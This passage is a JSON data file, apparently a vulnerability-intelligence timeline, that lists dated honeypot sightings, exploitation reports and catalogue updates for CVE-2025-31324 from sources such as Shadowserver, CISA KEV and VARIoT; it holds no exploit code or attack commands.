false, "value": "2025-10-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-22)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3d4a82a9-9a0c-4a94-8344-eefaa55f607d"}, {"timestamp": "2025-10-22T00:33:17Z", "date_only": false, "value": "2025-10-22T00:33:17Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-7W9P-PR7X-MJW2", "record": "GHSA-7W9P-PR7X-MJW2", "field": "modified"}, {"timestamp": "2025-10-23T00:00:00Z", "date_only": false, "value": "2025-10-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-23)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f88e99cf-af69-4d09-ae32-f34fac9ffc88"}, {"timestamp": "2025-10-24T00:00:00Z", "date_only": false, "value": "2025-10-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a5f0e898-df79-41f6-8086-523335ce9b90"}, {"timestamp": "2025-10-25T00:00:00Z", "date_only": false, "value": "2025-10-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-25)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8ff3cd1e-bfca-45e5-9e98-759a816bd902"}, {"timestamp": "2025-10-26T00:00:00Z", "date_only": false, "value": "2025-10-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-26)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0657db4f-3251-44b5-988c-228ef1aec035"}, {"timestamp": "2025-10-27T00:00:00Z", "date_only": false, "value": "2025-10-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9a52f863-8cc4-4f5a-b73b-dcf7454fb231"}, {"timestamp": "2025-10-30T00:00:00Z", "date_only": false, "value": "2025-10-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1b4f4b24-c5f4-4857-891d-9f6adc81694c"}, {"timestamp": "2025-10-31T00:00:00Z", "date_only": false, "value": "2025-10-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-31)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9645a5c1-262a-4914-8b2f-be2fa58d798c"}, {"timestamp": "2025-10-31T21:56:14.103Z", "date_only": false, "value": "2025-10-31T21:56:14.103000", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202504-3437", "record": "VAR-202504-3437", "field": "sources_update_date.data.1.date"}, {"timestamp": "2025-11-01T00:00:00Z", "date_only": false, "value": "2025-11-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-01)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cd8dc867-5fde-4e84-9b4d-cf293c16bb3c"}, {"timestamp": "2025-11-04T00:00:00Z", "date_only": false, "value": "2025-11-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3f1e9a1a-2174-46d5-86d9-7fd825a6c741"}, {"timestamp": "2025-11-06T00:00:00Z", "date_only": false, "value": "2025-11-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-06)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f7110f50-0c83-465e-806a-e6907fa0f19f"}, {"timestamp": "2025-11-08T00:00:00Z", "date_only": false, "value": "2025-11-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-08)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "08066517-8e8f-4374-bbcf-599deaff14d4"}, {"timestamp": "2025-11-11T00:00:00Z", "date_only": false, "value": "2025-11-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e85cf60f-17c2-44f4-9556-b299bb75ed4b"}, {"timestamp": "2025-11-12T00:00:00Z", "date_only": false, "value": "2025-11-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-12)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c944004e-94c8-492d-abaf-94a54c7b7845"}, {"timestamp": "2025-11-13T00:00:00Z", "date_only": false, "value": "2025-11-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ba4c6096-9195-4b9b-8a88-0e5bd54f4671"}, {"timestamp": "2025-11-14T00:00:00Z", "date_only": false, "value": "2025-11-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-14)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "15c17511-c774-468b-874e-23b7488d7123"}, {"timestamp": "2025-11-18T00:00:00Z", "date_only": false, "value": "2025-11-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "51ce3ef0-fe95-406b-98f4-c4806a2a0d08"}, {"timestamp": "2025-11-18T15:27:16.906Z", "date_only": false, "value": "2025-11-18T15:27:16.906000Z", "kind": "other", "label": "Last update date", "source": "variot \u00b7 VAR-202504-3437", "record": "VAR-202504-3437", "field": "last_update_date"}, {"timestamp": "2025-11-19T00:00:00Z", "date_only": false, "value": "2025-11-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-19)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ab6de57e-c096-4baf-9b7d-e0da89ccd957"}, {"timestamp": "2025-11-29T00:00:00Z", "date_only": false, "value": "2025-11-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-29)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2c37507d-7cfd-4f93-8a41-4fe349076f4e"}, {"timestamp": "2025-11-30T00:00:00Z", "date_only": false, "value": "2025-11-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "df80b0ec-e92d-48a5-8df6-6d464ae6f81c"}, {"timestamp": "2025-12-01T00:00:00Z", "date_only": false, "value": "2025-12-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-01)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9780dc0a-1984-4344-bcd5-cf4e35224485"}, {"timestamp": "2025-12-02T00:00:00Z", "date_only": false, "value": "2025-12-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-02)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "63c7cdf5-adae-4678-a083-9ddad67f99b1"}, {"timestamp": "2025-12-03T00:00:00Z", "date_only": false, "value": "2025-12-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-03)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3dfff3cf-bf8a-419c-92bc-b39e182fb4a1"}, {"timestamp": "2025-12-04T00:00:00Z", "date_only": false, "value": "2025-12-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "aa1451c8-70b3-4e26-9da7-d90333984ab3"}, {"timestamp": "2025-12-05T00:00:00Z", "date_only": false, "value": "2025-12-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-05)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a1513507-d06c-49f2-97e1-faa7205022b9"}, {"timestamp": "2025-12-06T00:00:00Z", "date_only": false, "value": "2025-12-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-06)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "69dd012b-7d2d-40dd-8c97-1c90b87a61e9"}, {"timestamp": "2025-12-06T08:08:46.290Z", "date_only": false, "value": "2025-12-06T08:08:46.290791Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-c5be74a9-282ffa89e7249eb5", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "82ab6ecf-500e-471c-8ba9-f312c916f4c4", "url": "https://poliverso.org/objects/0477a01e-c5be74a9-282ffa89e7249eb5"}, {"timestamp": "2025-12-07T00:00:00Z", "date_only": false, "value": "2025-12-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-07)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2cdacf0e-dc9d-44cc-bb6f-30d95d0e8d68"}, {"timestamp": "2025-12-08T00:00:00Z", "date_only": false, "value": "2025-12-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-08)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ae9fa142-b704-4f7b-ac4d-2e2bf52631bf"}, {"timestamp": "2025-12-09T00:00:00Z", "date_only": false, "value": "2025-12-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c016121c-443c-45aa-9607-2d907a004e7b"}, {"timestamp": "2025-12-14T00:00:00Z", "date_only": false, "value": "2025-12-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-14)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f412c948-cab2-41d5-8b19-e193dde0fddb"}, {"timestamp": "2025-12-19T15:27:11.605Z", "date_only": false, "value": "2025-12-19T15:27:11.605183Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hasamba72.bsky.social/post/3madyukofgr2z", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c6fb6731-c7f8-40d1-8466-6b947d6ae02b", "url": "https://bsky.app/profile/hasamba72.bsky.social/post/3madyukofgr2z"}, {"timestamp": "2025-12-20T00:00:00Z", "date_only": false, "value": "2025-12-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-20)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "387dbb9d-ee38-4189-ba8c-bfce992e7d18"}, {"timestamp": "2026-01-12T21:00:04Z", "date_only": false, "value": "2026-01-12T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/0ln6CDnwyDBqOXy8lI1iw8ZmyXvW2AoBrPGhoxY4lBuN7No", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d515a004-b711-42c0-a4f3-4b88442f63d5"}, {"timestamp": "2026-01-15T00:00:00Z", "date_only": false, "value": "2026-01-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "79192dae-fde4-49bd-ad98-089ed4fa4bec"}, {"timestamp": "2026-01-16T00:00:00Z", "date_only": false, "value": "2026-01-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-16)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "da57288d-ea8d-413d-b529-2960d942ae46"}, {"timestamp": "2026-01-18T00:00:00Z", "date_only": false, "value": "2026-01-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4e431226-aab0-4831-9153-442357685049"}, {"timestamp": "2026-01-21T00:00:00Z", "date_only": false, "value": "2026-01-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-21)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d8730b37-fec6-40fe-8c3d-62cfec88eb26"}, {"timestamp": "2026-01-22T00:00:00Z", "date_only": false, "value": "2026-01-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-22)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b61c673b-2bae-49af-bd5a-4826099c2e90"}, {"timestamp": "2026-01-23T00:00:00Z", "date_only": false, "value": "2026-01-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-23)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b1698375-e26a-465a-8058-7c8f87e3b056"}, {"timestamp": "2026-01-24T00:00:00Z", "date_only": false, "value": "2026-01-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "695a38f6-6e97-4612-959a-ba2b58caa204"}, {"timestamp": "2026-01-26T00:00:00Z", "date_only": false, "value": "2026-01-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-26)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8dc2d0e4-86fe-4bc2-b975-2f311c53b43b"}, {"timestamp": "2026-01-27T00:00:00Z", "date_only": false, "value": "2026-01-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7ff96993-1a04-4fad-9baa-290e9fb8c62e"}, {"timestamp": "2026-01-28T00:00:00Z", "date_only": false, "value": "2026-01-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-28)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "832186bf-fbd4-4e94-81cd-df7f00ecda94"}, {"timestamp": "2026-01-29T00:00:00Z", "date_only": false, "value": "2026-01-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-29)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "17ace42c-bf25-46fa-802c-de8a85435703"}, {"timestamp": "2026-01-30T00:00:00Z", "date_only": false, "value": "2026-01-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "65aca99d-7dfb-46a7-9e16-2f093bef3c2e"}, {"timestamp": "2026-01-31T00:00:00Z", "date_only": false, "value": "2026-01-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-31)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "50d628f3-8551-455a-89a8-ab9e7e051c3a"}, {"timestamp": "2026-02-01T00:00:00Z", "date_only": false, "value": "2026-02-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-01)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b04185df-7786-4e49-8c00-9c36c74aa338"}, {"timestamp": "2026-02-02T12:26:02.930Z", "date_only": false, "value": "2026-02-02T12:26:02.930466Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6ff2a926-6969-4a40-b8a1-856b0d8aaada", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9b21c316-c58a-4e15-a3dd-a6295a186aac", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6ff2a926-6969-4a40-b8a1-856b0d8aaada"}, {"timestamp": "2026-02-02T12:26:02.930Z", "date_only": false, "value": "2026-02-02T12:26:02.930466Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6ff2a926-6969-4a40-b8a1-856b0d8aaada", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b4a9a938-b4a3-48cd-b4e9-690967b30f3f", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6ff2a926-6969-4a40-b8a1-856b0d8aaada"}, {"timestamp": "2026-02-02T13:24:01Z", "date_only": false, "value": "2026-02-02T13:24:01+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2025-31324", "field": "timestamps.recorded_at", "uuid": "a7c9a8bd-dce5-46a9-9d37-b91ee38154f3", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-03T00:00:00Z", "date_only": false, "value": "2026-02-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-03)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "033c83ad-3882-4bf5-b03f-810f94773e53"}, {"timestamp": "2026-02-04T00:00:00Z", "date_only": false, "value": "2026-02-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1e58622c-56e9-402c-8def-b48a026beef2"}, {"timestamp": "2026-02-09T00:00:00Z", "date_only": false, "value": "2026-02-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8f096cc5-ee88-4e64-a048-cd0afa93c7ca"}, {"timestamp": "2026-02-11T00:00:00Z", "date_only": false, "value": "2026-02-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fd07c92c-d829-479c-8f48-9f7d73393181"}, {"timestamp": "2026-02-12T00:00:00Z", "date_only": false, "value": "2026-02-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-12)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "091fff28-7213-42eb-b9d4-336627c278ab"}, {"timestamp": "2026-02-13T00:00:00Z", "date_only": false, "value": "2026-02-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "89c97585-1d88-49ab-8563-d79068640381"}, {"timestamp": "2026-02-15T00:00:00Z", "date_only": false, "value": "2026-02-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "944b5945-5d68-4c1f-b5ff-86f0bb2d7bb4"}, {"timestamp": "2026-02-15T00:00:00Z", "date_only": false, "value": "2026-02-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "19f3cf8c-52a0-4ea8-a923-52784dead614"}, {"timestamp": "2026-02-16T00:00:00Z", "date_only": false, "value": "2026-02-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-16)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8e025907-b508-4a26-8d37-ec45d563b396"}, {"timestamp": "2026-02-18T00:00:00Z", "date_only": false, "value": "2026-02-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5db2c6aa-f131-4ae1-859a-904291403d35"}, {"timestamp": "2026-02-19T00:00:00Z", "date_only": false, "value": "2026-02-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-19)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3eb833e9-54f2-4df4-bb54-718fb0c198e7"}, {"timestamp": "2026-02-20T00:00:00Z", "date_only": false, "value": "2026-02-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-20)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9743f624-2d28-446f-a4de-c722cadb1320"}, {"timestamp": "2026-02-21T00:00:00Z", "date_only": false, "value": "2026-02-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-21)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f8be0bc2-04df-450b-955c-d18618cd0561"}, {"timestamp": "2026-02-22T00:00:00Z", "date_only": false, "value": "2026-02-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-22)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c407fd31-51b9-48dd-89a8-898e43d567fa"}, {"timestamp": "2026-02-23T00:00:00Z", "date_only": false, "value": "2026-02-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-23)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ed1e9411-376c-4af6-af93-91486c574147"}, {"timestamp": "2026-02-24T00:00:00Z", "date_only": false, "value": "2026-02-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0828501d-b48d-4a13-b661-bf1cbd93f559"}, {"timestamp": "2026-02-25T00:00:00Z", "date_only": false, "value": "2026-02-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-25)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1756f073-09b4-461f-a6a3-4fda333a90b3"}, {"timestamp": "2026-02-26T00:00:00Z", "date_only": false, "value": "2026-02-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-26)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "639010b4-f68f-4b08-9158-fc2cc452a894"}, {"timestamp": "2026-02-27T00:00:00Z", "date_only": false, "value": "2026-02-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f9f83f78-caba-4e8e-9fad-83b2cb51e72a"}, {"timestamp": "2026-02-28T00:00:00Z", "date_only": false, "value": "2026-02-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-28)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "28a82d80-f4cb-4ba5-bb08-3a1481df1ed1"}, {"timestamp": "2026-03-01T00:00:00Z", "date_only": false, "value": "2026-03-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-01)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4b17461b-31eb-499d-8a08-827021f3d7ee"}, {"timestamp": "2026-03-02T00:00:00Z", "date_only": false, "value": "2026-03-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-02)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e96c2bcd-d55b-422f-a98a-7a02df58d83a"}, {"timestamp": "2026-03-03T00:00:00Z", "date_only": false, "value": "2026-03-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-03)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8eb19ef9-1fcc-4a3f-834e-674cd5a1e3e9"}, {"timestamp": "2026-03-04T00:00:00Z", "date_only": false, "value": "2026-03-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e58d75f9-16df-4409-bb69-b18a4c13ce3f"}, {"timestamp": "2026-03-06T00:00:00Z", "date_only": false, "value": "2026-03-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-06)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f71b2f13-32b3-4336-ae23-fd09c49e0015"}, {"timestamp": "2026-03-07T00:00:00Z", "date_only": false, "value": "2026-03-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-07)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e198f7d1-7695-4bd0-aa30-91fbdd707a46"}, {"timestamp": "2026-03-09T00:00:00Z", "date_only": false, "value": "2026-03-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4f8b610d-1b55-4549-b300-edb9fad7727c"}, {"timestamp": "2026-03-10T00:00:00Z", "date_only": false, "value": "2026-03-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "31acf202-67e4-4a56-a43b-91d5d2648381"}, {"timestamp": "2026-03-11T00:00:00Z", "date_only": false, "value": "2026-03-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c98c082b-b729-4aa3-8616-9718d64dda48"}, {"timestamp": "2026-03-12T00:00:00Z", "date_only": false, "value": "2026-03-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-12)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7a077a0c-b28d-49b3-a8a8-dbeed4c231c2"}, {"timestamp": "2026-03-13T00:00:00Z", "date_only": false, "value": "2026-03-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "22af8304-6708-4bd9-9705-e735d108f78b"}, {"timestamp": "2026-03-14T00:00:00Z", "date_only": false, "value": "2026-03-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-14)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c375c320-d722-40b7-b9ea-700cf81a983c"}, {"timestamp": "2026-03-15T00:00:00Z", "date_only": false, "value": "2026-03-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "419d1dbb-f6ae-492d-8deb-bbdede996d66"}, {"timestamp": "2026-03-16T00:00:00Z", "date_only": false, "value": "2026-03-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-16)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2b54333e-62b1-4f95-b048-cd03ab132f4f"}, {"timestamp": "2026-03-17T00:00:00Z", "date_only": false, "value": "2026-03-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-17)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "abfdac78-2345-45a8-8edf-5d291f20008e"}, {"timestamp": 